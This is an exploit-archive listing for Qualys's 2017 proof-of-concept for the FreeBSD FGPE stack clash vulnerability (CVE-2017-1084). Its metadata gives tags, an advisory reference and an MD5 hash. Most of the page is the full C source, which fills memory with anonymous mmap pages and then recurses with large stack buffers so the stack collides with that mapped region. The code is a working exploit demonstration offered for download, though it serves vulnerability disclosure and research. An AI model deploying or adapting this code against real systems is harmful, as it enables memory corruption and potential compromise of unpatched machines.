Exploit the possiblities

FreeBSD FGPE Stack Clash Proof Of Concept

FreeBSD FGPE Stack Clash Proof Of Concept
Posted Jun 29, 2017
Site qualys.com

FreeBSD FGPE stack clash proof of concept exploit.

tags | exploit, proof of concept
systems | freebsd, bsd
advisories | CVE-2017-1084
MD5 | a5bf5e251c7b1182eb8d9d86a7cba5ec

FreeBSD FGPE Stack Clash Proof Of Concept

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/*
* FreeBSD_CVE-2017-FGPE.c for CVE-2017-1084 (please compile with -O0)
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

static const char * last_page;

static void
alloc(const char * const final)
{
for (;;) {
last_page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (last_page == MAP_FAILED) die();
if (last_page >= final) break;
}
}

static void
clash_smash_no_jump(const size_t smash_size)
{
char buf[1024];
memset(buf, 'A', sizeof(buf));
if (smash_size > sizeof(buf))
clash_smash_no_jump(smash_size - sizeof(buf));
}

#define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */

int
main(void)
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();

struct rlimit stack;
if (getrlimit(RLIMIT_STACK, &stack)) die();
const size_t smash_size = stack.rlim_cur / 3 * 2;
const size_t final_dist = arc4random() % smash_size;

alloc((const char *)&stack - final_dist);
clash_smash_no_jump(smash_size);
printf("char at %p: %02x; final dist %zu (%zu)\n", last_page, *last_page, final_dist % SGROWSIZ, final_dist);
exit(EXIT_SUCCESS);
}

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